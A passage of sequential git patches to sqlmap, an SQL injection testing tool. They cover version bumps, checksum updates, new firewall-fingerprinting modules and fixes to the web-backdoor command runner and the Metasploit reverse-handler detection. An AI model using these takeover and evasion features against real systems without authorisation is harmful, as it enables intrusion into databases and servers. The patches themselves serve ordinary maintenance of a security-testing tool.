table[conf.tbl] = columns + table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns kb.data.cachedColumns[conf.db] = table + return retVal + def getTechniqueData(technique=None): """ Returns injection data for technique specified diff --git a/lib/core/settings.py b/lib/core/settings.py index 5e07d200a1c..8fdb118ce8a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.8" +VERSION = "1.3.2.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index adbe1ea2c11..fb1efa7c08b 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -622,7 +622,13 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod index += 1 if Backend.isDbms(DBMS.SQLITE): - parseSqliteTableSchema(unArrayizeValue(values)) + if dumpMode and colList: + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_,None) for _ in colList) + else: + parseSqliteTableSchema(unArrayizeValue(values)) + elif not isNoneValue(values): table = {} columns = {} @@ -718,9 +724,15 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query += condQuery elif Backend.isDbms(DBMS.SQLITE): - query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) - value = unArrayizeValue(inject.getValue(query, union=False, error=False)) - parseSqliteTableSchema(value) + if dumpMode and colList: + if conf.db not in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db] = {} + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_,None) for _ in colList) + else: + query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + parseSqliteTableSchema(unArrayizeValue(value)) + return kb.data.cachedColumns table = {} diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 077eb91b6d3..c3954ba6e75 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -e253cc58cb0d2bc01a68cfbe58266435 lib/core/common.py +964885db1ac028fa622ee5ba20f061b1 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py e1f7758f433202c50426efde5eb96768 lib/core/datatype.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -ccda855c6b8c67a67867fba4047446d6 lib/core/settings.py +0f7113b9afe5f0b0051a65bbd5d4a713 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -215,7 +215,7 @@ ec3f406591fc9472f5750bd40993e72e plugins/dbms/sybase/syntax.py 369476221b3059106410de05766227e0 plugins/dbms/sybase/takeover.py 312020bc31ffb0bc6077f62e6fff6e73 plugins/generic/connector.py d749b7f7b4bcf1f646290dec739f1e6d plugins/generic/custom.py -791db3be35714c9a2e55a7abe9127da4 plugins/generic/databases.py +69cc329dc01805c1a7d6d65534a3e719 plugins/generic/databases.py 4cf8eb3719c980c54a92f838a999d090 plugins/generic/entries.py f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py cda119b7b0d1afeb60f912009cdb0cf5 plugins/generic/filesystem.py From 5b382adc1594ee283ad9618fe706964d117b9af2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 7 Feb 2019 17:34:51 +0100 Subject: [PATCH 097/800] Trivial PEP update --- lib/core/settings.py | 2 +- plugins/generic/databases.py | 4 ++-- txt/checksum.md5 | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8fdb118ce8a..7f76428b391 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.9" +VERSION = "1.3.2.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index fb1efa7c08b..73792412e79 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -625,7 +625,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if dumpMode and colList: if conf.db not in kb.data.cachedColumns: kb.data.cachedColumns[conf.db] = {} - kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_,None) for _ in colList) + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) else: parseSqliteTableSchema(unArrayizeValue(values)) @@ -727,7 +727,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if dumpMode and colList: if conf.db not in kb.data.cachedColumns: kb.data.cachedColumns[conf.db] = {} - kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_,None) for _ in colList) + kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList) else: query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index c3954ba6e75..81723d47e5a 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -0f7113b9afe5f0b0051a65bbd5d4a713 lib/core/settings.py +0a6a0426799dcb447311887b30fc498c lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -215,7 +215,7 @@ ec3f406591fc9472f5750bd40993e72e plugins/dbms/sybase/syntax.py 369476221b3059106410de05766227e0 plugins/dbms/sybase/takeover.py 312020bc31ffb0bc6077f62e6fff6e73 plugins/generic/connector.py d749b7f7b4bcf1f646290dec739f1e6d plugins/generic/custom.py -69cc329dc01805c1a7d6d65534a3e719 plugins/generic/databases.py +f5aff26ff1b0664a14e7c5fa17692b69 plugins/generic/databases.py 4cf8eb3719c980c54a92f838a999d090 plugins/generic/entries.py f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py cda119b7b0d1afeb60f912009cdb0cf5 plugins/generic/filesystem.py From 489390c3f8c5e3f69db66e19a5d63bac1d48057b Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Sat, 9 Feb 2019 05:44:04 -0800 Subject: [PATCH 098/800] ibm_webseal.py (#3479) --- waf/ibm_webseal.py | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 waf/ibm_webseal.py diff --git a/waf/ibm_webseal.py b/waf/ibm_webseal.py new file mode 100644 index 00000000000..220c13c3976 --- /dev/null +++ b/waf/ibm_webseal.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "IBM Security Access Manager for Web WebSEAL." + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + _, headers, _ = get_page(get=vector) + retval = re.search(r"WebSEAL/9.0.5.0", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= "The Access Manager WebSEAL server received an invalid HTTP request." in (page or "") is not None + if retval: + break + + return retval From 441a40e6e1462860620caf15c03200072ebac64c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 9 Feb 2019 14:49:20 +0100 Subject: [PATCH 099/800] Couple of patches for #3479 --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 ++- waf/{ibm_webseal.py => webseal.py} | 8 ++++---- 3 files changed, 7 insertions(+), 6 deletions(-) rename waf/{ibm_webseal.py => webseal.py} (52%) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7f76428b391..27593583311 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.10" +VERSION = "1.3.2.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 81723d47e5a..b7b9ba1ec93 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -0a6a0426799dcb447311887b30fc498c lib/core/settings.py +cb31ee4773d12d0041a2fabb1bbc9291 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -473,6 +473,7 @@ ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py 67df54343a85fe053226e2a5483b2c64 waf/wallarm.py 114000c53115fa8f4dd9b1b9122ec32a waf/watchguard.py a7b8c4c3d1463409e0e204932f0ddff0 waf/webknight.py +053c6b1ea20133bd9f563f1275ddb5a4 waf/webseal.py ac9e4e3ced77012ed97284634a9ffc74 waf/wordfence.py e69f77220558564785f0b3c961782a93 waf/yundun.py a560bee3e948b97af2c88805933dcaad waf/yunsuo.py diff --git a/waf/ibm_webseal.py b/waf/webseal.py similarity index 52% rename from waf/ibm_webseal.py rename to waf/webseal.py index 220c13c3976..4fa6ec2d363 100644 --- a/waf/ibm_webseal.py +++ b/waf/webseal.py @@ -10,15 +10,15 @@ from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS -__product__ = "IBM Security Access Manager for Web WebSEAL." +__product__ = "WebSEAL (IBM)" def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"WebSEAL/9.0.5.0", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= "The Access Manager WebSEAL server received an invalid HTTP request." in (page or "") is not None + page, headers, _ = get_page(get=vector) + retval = re.search(r"WebSEAL", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= any(_ in (page or "") for _ in ("This is a WebSEAL error message template file", "The Access Manager WebSEAL server received an invalid HTTP request")) if retval: break From b42c081c0ef545c40f504ddc1768aa5f43461cd3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 9 Feb 2019 15:11:06 +0100 Subject: [PATCH 100/800] Fixes #3475 --- lib/core/settings.py | 2 +- lib/utils/api.py | 6 +++--- txt/checksum.md5 | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 27593583311..64041a65e15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.11" +VERSION = "1.3.2.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index ae971efe7fb..4ea74904a63 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -160,11 +160,11 @@ def engine_start(self): saveConfig(self.options, configFile) if os.path.exists("sqlmap.py"): - self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")): - self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")): - self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN) + self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN) else: self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index b7b9ba1ec93..cb854dc675c 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -cb31ee4773d12d0041a2fabb1bbc9291 lib/core/settings.py +17a9ca024712c5621e8c1d79ce798ad3 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -102,7 +102,7 @@ fb6be55d21a70765e35549af2484f762 lib/techniques/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/union/__init__.py 9d9a6148f10693aaab5fac1273d981d4 lib/techniques/union/test.py e141fb96f2a136bafd6bb2350f02d33b lib/techniques/union/use.py -936e5cb1bc25c69f0716df1c2900f52a lib/utils/api.py +8e9ddc7220f6beda89cc45c65e51e72b lib/utils/api.py 544dee96e782560fe4355cbf6ee19b8c lib/utils/brute.py b27421eb57cea711050135f84be99258 lib/utils/crawler.py da4bc159e6920f1f7e45c92c39941690 lib/utils/deps.py From 95625027448910623752443e198fda795ab66f21 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 9 Feb 2019 15:49:52 +0100 Subject: [PATCH 101/800] Potential patch for #3470 --- lib/core/settings.py | 2 +- lib/takeover/web.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 64041a65e15..a0110e46d20 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.12" +VERSION = "1.3.2.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 445270f285e..24d2f0d38cb 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -77,7 +77,7 @@ def webBackdoorRunCmd(self, cmd): if not cmd: cmd = conf.osCmd - cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) + cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: diff --git a/txt/checksum.md5 b/txt/checksum.md5 index cb854dc675c..7c7839d5bdd 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -17a9ca024712c5621e8c1d79ce798ad3 lib/core/settings.py +61c1b630a7454947a1eda659e31bf251 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -89,7 +89,7 @@ fb6be55d21a70765e35549af2484f762 lib/takeover/__init__.py d55029a4c048e345fbb07a8f91604d83 lib/takeover/metasploit.py 6b5b841d445b7b973c2e033edfb01b16 lib/takeover/registry.py ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py -915a3fbd557fb136bd0e16c46d993be3 lib/takeover/web.py +f0a809475eb0db95ffbe89fd6ca5bd96 lib/takeover/web.py 1aadcdc058bb813d09ad23d26ea2a6b5 lib/takeover/xp_cmdshell.py 654d222cbae610923965c583355ec34a lib/techniques/blind/inference.py fb6be55d21a70765e35549af2484f762 lib/techniques/blind/__init__.py From 6f750f9529ff7d2997d4e3f0b6b841b1a0b891c5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 9 Feb 2019 16:15:09 +0100 Subject: [PATCH 102/800] Patch for --os-pwn on newer versions of Metasploit --- lib/core/settings.py | 2 +- lib/takeover/metasploit.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a0110e46d20..6ac48a8c1c1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.13" +VERSION = "1.3.2.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 01a58ec4dfe..04fb88a9bc1 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -558,7 +558,7 @@ def _controlMsfCmd(self, proc, func): # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") - pwnBofCond &= "Starting the payload handler" in out + pwnBofCond &= any(_ in out for _ in ("Starting the payload handler", "Started reverse")) # For --os-smbrelay smbRelayCond = "Server started" in out diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 7c7839d5bdd..367313dc48e 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -61c1b630a7454947a1eda659e31bf251 lib/core/settings.py +8aa51078439218dacde3c4283ed22845 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -86,7 +86,7 @@ ac482ec52227daf48f523827dd67078f lib/request/pkihandler.py eafa28e4beb2b7492dfc8036033ac824 lib/takeover/abstraction.py ac9efea51eba120b667b4b73536d7f1c lib/takeover/icmpsh.py fb6be55d21a70765e35549af2484f762 lib/takeover/__init__.py -d55029a4c048e345fbb07a8f91604d83 lib/takeover/metasploit.py +2e14e89af54ea30892c1f426103ab70a lib/takeover/metasploit.py 6b5b841d445b7b973c2e033edfb01b16 lib/takeover/registry.py ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py f0a809475eb0db95ffbe89fd6ca5bd96 lib/takeover/web.py From 4d87b0ff67e71be6a6ff031f13e2b5914288582f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 9 Feb 2019 23:18:08 +0100 Subject: [PATCH 103/800] Fixes #3467 and #3463 --- lib/core/datatype.py | 11 ++++------- lib/core/decorators.py | 15 ++++++++++----- lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- 4 files changed, 18 insertions(+), 16 deletions(-) diff --git a/lib/core/datatype.py b/lib/core/datatype.py index d32386f06fb..60407700e51 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -120,15 +120,12 @@ def __contains__(self, key): return key in self.cache def __getitem__(self, key): - try: - value = self.cache.pop(key) - self.cache[key] = value - return value - except KeyError: - return -1 + value = self.cache.pop(key) + self.cache[key] = value + return value def get(self, key): - return self.__getitem__(self, key) + return self.__getitem__(key) def __setitem__(self, key, value): try: diff --git a/lib/core/decorators.py b/lib/core/decorators.py index ecc29d58e63..d8e3f88290e 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -24,12 +24,17 @@ def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)): @functools.wraps(f) def _(*args, **kwargs): - with _lock: - key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff - if key not in cache: - cache[key] = f(*args, **kwargs) + key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff - return cache[key] + try: + result = cache[key] + except KeyError: + result = f(*args, **kwargs) + + with _lock: + cache[key] = result + + return result return _ diff --git a/lib/core/settings.py b/lib/core/settings.py index 6ac48a8c1c1..7f9baef5042 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.14" +VERSION = "1.3.2.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 367313dc48e..c053bed0e27 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -33,8 +33,8 @@ a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py 964885db1ac028fa622ee5ba20f061b1 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py -e1f7758f433202c50426efde5eb96768 lib/core/datatype.py -1646402a733e564f05025e848b323cf9 lib/core/decorators.py +00828c4455321b6987e3f882f4ef4f92 lib/core/datatype.py +3ec93893ad8b1e060540753b7f8a8caf lib/core/decorators.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py 4ba141124699fd7a763dea82f17fe523 lib/core/dump.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -8aa51078439218dacde3c4283ed22845 lib/core/settings.py +75098335768c0cfa062995a83ceaef78 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py From 8d46f67898d74dfd19a9e7c517be735d43b7d5a7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 9 Feb 2019 23:27:55 +0100 Subject: [PATCH 104/800] Fixes #3483 --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- xml/queries.xml | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7f9baef5042..9e44da3b378 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.15" +VERSION = "1.3.2.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index c053bed0e27..9cefa4798ee 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -75098335768c0cfa062995a83ceaef78 lib/core/settings.py +f8515bbac09b5707af54ec874d27aef1 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 43772ea73e9e3d446f782af591cb4eda lib/core/target.py @@ -498,4 +498,4 @@ a279656ea3fcb85c727249b02f828383 xml/livetests.xml 82c65823a0af3fccbecf37f1c75f0b29 xml/payloads/stacked_queries.xml 92c41925eba27afeed76bceba6b18be2 xml/payloads/time_blind.xml ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml -7bbf2a82593efffc68e8001299a5691f xml/queries.xml +f20a92b2f037cebf01b916804345399a xml/queries.xml diff --git a/xml/queries.xml b/xml/queries.xml index 5c0e5c92169..56983fc1ecb 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -715,7 +715,7 @@ - + From 47edf134a25e31446ea7d6c8f244bcdd62194637 Mon Sep 17 00:00:00 2001 From: Infected Drake Date: Mon, 11 Feb 2019 15:21:27 +0530 Subject: [PATCH 105/800] Create new detection script for WTS Firewall. (#3488) --- waf/wts.py | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 waf/wts.py diff --git a/waf/wts.py b/waf/wts.py new file mode 100644 index 00000000000..a68d09ead4c --- /dev/null +++ b/waf/wts.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "WTS Web Application Firewall" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, _ = get_page(get=vector) + retval = re.search(r"wts(.*)?", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= all(_ in (page or "") for _ in ("WTS.WAF", "<h1>WTS-WAF")) + if retval: + break + + return retval From ced9657d954a64310c4f0ccd3a8a5a209a966c30 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Mon, 11 Feb 2019 10:53:04 +0100 Subject: [PATCH 106/800] Patch for #3488 --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 ++- waf/wts.py | 3 +-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9e44da3b378..09a13d52878 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.2.16" +VERSION = "1.3.2.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % 